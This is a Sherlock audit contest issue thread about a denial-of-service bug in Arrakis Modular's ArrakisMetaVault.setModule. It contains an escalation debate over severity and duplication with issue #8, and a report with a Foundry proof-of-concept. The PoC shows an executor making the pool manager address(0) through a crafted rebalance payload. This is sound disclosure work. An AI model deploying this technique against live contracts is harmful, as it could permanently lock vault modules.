Closed sherlock-admin3 closed 3 months ago
Escalate
This is a valid issue due to insufficient checks in setModule()
It attempts to call pool.claimPoolManagerFees()
without checking if pool.poolManager()
is address(0)
since in that case all the fees are already obtained.
Note that setting the pool manager to address(0)
is an expected functionality of the pools.
Due to this lack of a check, the setModule()
function always reverts due to access control issues as shown in the PoC.
Escalate
This is a valid issue due to insufficient checks in
setModule()
It attempts to call
pool.claimPoolManagerFees()
without checking ifpool.poolManager()
isaddress(0)
since in that case all the fees are already obtained.Note that setting the pool manager to
address(0)
is an expected functionality of the pools.Due to this lack of a check, the
setModule()
function always reverts due to access control issues as shown in the PoC.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
I'm not sure I understand the impact completely, are any funds lost or it's only the fact that module cannot be changed?
Also, it can be done by an executor who is considered untrusted during rebalancing?
There's no direct fund loss, it is a DoS of the setModule()
functionality so the vault is stuck with the same module forever.
That is why i submitted it as a medium.
Yes, it's done by an executor.
Wouldn't it be a mistake by an executor of Arrakis Standard Manager to first set pool manager to address(0) and then change the module?
@0xjuaan could you please provide a link to pool.setPoolManager
? As I understand in your attack it's a malicious executor who will call it via ArrakisStandardManager::setModule
, but the call with payloads
happens after the code tries to withdraw the manager balance. Hence, I'm a bit confused about how it can happen that the pool manager is set to address(0) before withdrawing the manager balance.
@WangSecurity From the PoC, it shows that this exploit uses a malicious router to call rebalance
and set the manager
to address(0)
.
This issue seems similar to #8, but #8's report contains some inaccuracies as it did not set manager
to address(0)
. Therefore, the statement in #8 that since poolManager is updated to address(0), any onlyPoolManager functions within the pool will revert
is incorrect. However, the current proof of concept (PoC) does call setPoolManager
.
However, I believe both reports describe the same problem where rebalance
is used as an entry point to maliciously set router
to SovereignPool
. The fix proposed in #8 could mitigate the issue described in the current report.
@WangSecurity here is the link to pool.setPoolManager()
.
Hence, I'm a bit confused about how it can happen that the pool manager is set to address(0) before withdrawing the manager balance.
The attack does not occur in the .call during setModule()
. It occurs in a previous transaction, where they call rebalance(), with the router_
as the pool
, calling pool.setPoolManager(address(0))
. This bypasses the expectedMinReturn_
check whenever the fees accrued is more than 1 wei, as shown in the report.
Then after this, the setModule()
function will attempt to call pool.claimPoolManagerFees()
which will always revert.
The correct code would check if the pool.poolManager()
is address(0)
before attempting to claim fees. Since if the poolManager
is already address(0), it means that all the fees were claimed and no more should be claimed.
Regarding @cu5t0mPeo's message: Yes you are right, that line was meant to be included in this submission, not in #8. #8 simply claims the pool manager fees via the rebalance.
You raise a fair point, I personally believe that the impacts are different (DoS VS Fund loss), and the attack paths are different (setPoolManager
VS claimPoolManagerFees
)
But I will leave it to @WangSecurity
Thank you for that clarification, and to get a bit more sense, after this attack the pool still works as expected, but the manager cannot take the fees and change the module, correct?
Yes, the impact is that the module for a particular vault is stuck and can't be changed forever.
I agree with the escalation, not planning to duplicate it with #8, based on the very sam discussion under issue #44. Planning to accept the escalation and validate the issue with medium severity. Are there any duplicates?
No other dupes @WangSecurity. Just confirming that the primary issue #8 is still high severity?
Yes
@WangSecurity Hi, the discussion based on #44 should also be considered a duplicate because the fix for this issue is the same as for #8. Implementing the fix for #8 will not affect any functionality of the protocol.
Both issues involve manipulation of the pool corresponding to their module. Even if the executor performs a normal swap
, it should never set the router to the corresponding SovereignPool
, as under normal circumstances, the SovereignPool
would not contain any funds. Therefore, a normal swap cannot be completed. Both issues can only be resolved using the fix applied for #8.
The executor, whether acting maliciously or not, should never set the router to SovereignPool
. Additionally, the executor should not call swap
in its own pool but should call swap
in other pools.
@cu5t0mPeo
I am not sure if I understand you correctly, but are you saying that this should be duped with #44?
pool
as the router_
to access the role-restricted function claimPoolManagerFees
Similar to #8, this issue involves accessing a different role-restricted function in the pool
, which is why this issue will be duped with #8.
I am not sure if I understand you correctly, but are you saying that this should be duped with #44?
no, this issue should be dups of #8
@cu5t0mPeo Oh I just realised that Wang is making this a solo medium. Sorry I misunderstood his message. @WangSecurity I think you should consider @cu5t0mPeo's point in why this should be duped with #8.
Thank you for that clarification and excuse me for overlooking this part. Both issues indeed have two different path, hence two different impacts. But both enter in SovereignPool
which shouldn't happen and restricting the executor from doing so, indeed mitigates both attacks. Hence, I agree this report should be a duplicate of #8, but the severity of the issue family will remain high, since #8 qualifies for high severity. Planning to accept the escalation.
Result: High Duplicate of #8
juaan
medium
When poolManager is set to address(0), a vault’s module can no longer be changed forever
Summary
See detail.
Vulnerability Detail
In order to change the module of a
ArrakisMetaVault
to a new one,setModule()
must be called on the vault.This calls the following internal function in the vault:
The internal function tries to call
withdrawManagerBalance()
on the old module:The issue is that the
poolManager
could have been set toaddress(0)
by callingsetPoolManager()
(see below).After this, the pool’s
claimPoolManagerFees()
function will always fail, and is not needed since the pool will no longer generate manager fees.Hence,
_module.withdrawManagerBalance()
will revert, causingsetModule()
to revert.pool.setPoolManager
can be called via therouter.call_()
inValantisHOTModule
by an executor.Impact
After the poolManager is set to
address(0)
,ArrakisMetaVault.setModule()
still tries to claim the manager fees, leading to a revert.Hence,
setModule()
will not be callable, so the vault’s module permanently cannot be changed.Proof of Concept
To run the PoC, add it to
arrakis-modular/test/integration
and runforge test --mt test_cant_setModule -vv
Foundry test
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; // Valantis Imports import {ValantisModule} from "../../src/abstracts/ValantisHOTModule.sol"; import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; import {HOT} from "@valantis-hot/contracts/HOT.sol"; // General Imports import {IOwnable} from "../../src/interfaces/IOwnable.sol"; // Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_Cant_SetModule is ValantisIntegrationPublicTest { address attacker; address rec; function test_cant_setModule() public { rec = makeAddr("rec"); attacker = makeAddr("attacker"); address m = address(IArrakisMetaVault(vault).module()); assertEq(pool.poolManager(), m); deal(address(token0), rec, init0); // 2000e6 (0: USDC) deal(address(token1), rec, init1); // 1e18 (1: WETH) //@e user mints from meta vault vm.startPrank(rec); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, rec); vm.stopPrank(); uint256 FEE_AMOUNT_0 = 1 wei; uint256 FEE_AMOUNT_1 = 1 wei; //@e Simulating 1 wei of fees in the `SovereignPool` vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0)); vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1)); // Sending the fee to the pool deal(address(token0), address(pool), token0.balanceOf(address(pool)) + FEE_AMOUNT_0); deal(address(token1), address(pool), token1.balanceOf(address(pool)) + FEE_AMOUNT_1); bool zeroForOne = false; uint256 amountIn = 1; // Using small values since we are not actually swapping anything uint256 expectedMinReturn = 1; bytes memory payload = abi.encodeWithSelector( SovereignPool.setPoolManager.selector, address(0) // new poolmanager ); bytes memory data = abi.encodeWithSelector( IValantisHOTModule.swap.selector, zeroForOne, expectedMinReturn, amountIn, address(pool), 0, //note: this 0,0 lets us skip the checks in `HOT::_checkSpotPriceRange` during depositLiquidity 0, payload ); bytes[] memory datas = new bytes[](1); datas[0] = data; // Perform the attack vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); assertEq(pool.poolManager(), address(0)); // Assert that a new module can't be set anymore vm.startPrank(vault); vm.expectRevert(); ValantisModule(m).withdrawManagerBalance(); } } ```Code Snippet
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ArrakisMetaVault.sol#L113
Tool used
Manual Review
Recommendation
In
ArrakisMetaVault.setModule()
, consider implementing the following change to ensure that function won’t revert, allowing a new module to be set.Duplicate of #8